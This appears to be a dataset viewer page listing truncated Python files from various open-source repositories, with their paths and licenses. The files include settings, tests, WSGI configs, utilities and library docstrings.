... | selentd/pythontools | pytools/src/IndexEval/test_evalmonthly.py | Python | apache-2.0 | 10,134 |
"""
Evennia settings file.
The available options are found in the default settings file found
here:
/home/griatch/Devel/Home/evennia/evennia/evennia/settings_default.py
Remember:
Don't copy more from the default file than you actually intend to
change; this will make sure that you don't overload upstream updates
un... | jamesbeebop/evennia | .github/workflows/mysql_settings.py | Python | bsd-3-clause | 2,189 |
import unittest
import subprocess
import os
import pitools
import math
class SHOTestCase(unittest.TestCase):
@classmethod
def setUpClass(cls):
os.chdir("sho")
out = file("pi.log", "w")
process = subprocess.Popen("../../../bin/pi-qmc",
stdout=subprocess.PIPE, stdin=subproce... | phys-tools/pi-qmc | test/system/sho/test_sho.py | Python | gpl-2.0 | 1,017 |
"""
WSGI config for coworkok project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault... | lauosi/coworkok | coworkok/wsgi.py | Python | gpl-3.0 | 505 |
#!python3
#### DISTANCE CALCULATIONS
def longestCommonSubstring (s1, s2):
# http://en.wikipedia.org/wiki/Longest_common_substring_problem
# http://en.wikibooks.org/wiki/Algorithm_implementation/Strings/Longest_common_substring
M = [ [0]*(1+len(s2)) for i in range(1+len(s1)) ]
longest, x_longest = 0, ... | jmchrl/opb | grammalecte/graphspell/str_transform.py | Python | gpl-3.0 | 6,548 |
__description__ = "Jenkins CI"
__config__ = {
"jenkins.http_port": dict(
description = "HTTP port to listen on",
default = 8080,
)
}
| samuel/kokki | kokki/cookbooks/jenkins/metadata.py | Python | bsd-3-clause | 158 |
'''
Various small, useful functions which have no other home.
'''
import dpkt
def inet_ntoa(ip):
if len(ip) != 4:
raise ValueError("Incorrect IP")
return (str(ord(ip[0])) + "." + str(ord(ip[1])) + "." + str(ord(ip[2])) +
"." + str(ord(ip[3])))
def friendly_tcp_flags(flags):
'''
returns a st... | ashumeow/pcaphar | src/third_party/pcap2har/pcaputil.py | Python | apache-2.0 | 3,556 |
"""
========================================
Interpolation (:mod:`scipy.interpolate`)
========================================
.. currentmodule:: scipy.interpolate
Sub-package for objects used in interpolation.
As listed below, this sub-package contains spline functions and classes,
one-dimensional and multi-dimensi... | kmspriyatham/symath | scipy/scipy/interpolate/__init__.py | Python | apache-2.0 | 3,214 |
# -*- coding: utf-8 -*-
# This file is part of Shoop.
#
# Copyright (c) 2012-2015, Shoop Ltd. All rights reserved.
#
# This source code is licensed under the AGPLv3 license found in the
# LICENSE file in the root directory of this source tree.
from shoop.core.models import OrderLineType
def update_order_line_from_pro... | jorge-marques/shoop | shoop/core/shortcuts/__init__.py | Python | agpl-3.0 | 1,700 |
from couchpotato.core.logger import CPLog
from couchpotato.core.event import fireEvent
from couchpotato.core.media._base.providers.torrent.torrentday import Base
from couchpotato.core.media.movie.providers.base import MovieProvider
log = CPLog(__name__)
autoload = 'TorrentDay'
class TorrentDay(MovieProvider, Base):... | koomik/CouchPotatoServer | couchpotato/core/media/movie/providers/torrent/torrentday.py | Python | gpl-3.0 | 601 |
""" Module for ginga routines. Mainly for debugging
"""
try:
basestring
except NameError:
basestring = str
import os
import numpy as np
import time
# A note from ejeschke on how to use the canvas add command in ginga: https://github.com/ejeschke/ginga/issues/720
# c
# The add() command can add any of the sha... | PYPIT/PYPIT | pypeit/ginga.py | Python | gpl-3.0 | 17,725 |
# -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU... | 3dfxmadscientist/CBSS | openerp/report/render/rml2pdf/trml2pdf.py | Python | agpl-3.0 | 46,151 |
#
# Copyright (C) 2018 Uninett AS
#
# This file is part of Network Administration Visualized (NAV).
#
# NAV is free software: you can redistribute it and/or modify it under the
# terms of the GNU General Public License version 3 as published by the Free
# Software Foundation.
#
# This program is distributed in the hope... | hmpf/nav | python/nav/statemon/checker/RpcChecker.py | Python | gpl-3.0 | 2,965 |
# -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | googleapis/python-os-config | samples/generated_samples/osconfig_v1_generated_os_config_service_list_patch_jobs_async.py | Python | apache-2.0 | 1,518 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.